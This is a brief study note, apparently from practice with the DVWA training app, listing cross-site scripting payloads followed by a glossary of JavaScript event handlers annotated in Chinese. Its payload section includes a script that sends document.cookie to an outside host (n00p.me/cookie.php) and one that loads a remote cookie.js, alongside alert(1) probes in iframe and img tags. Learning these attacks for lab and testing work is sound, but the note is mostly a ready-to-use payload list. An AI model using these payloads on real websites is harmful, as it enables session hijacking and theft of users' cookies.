0502 xss

playload

<script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script>
<script src="http://n00p.me/cookie.js"></script>
<iframe src="javascript:alert(1)"></iframe>

<img src=x onerror=alert(1)>
<img src='http://n00p.me/dvwa/dvwa/images/logo.png' onload=alert(1)>
<img src=x onclick=alert(1)>

event

onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过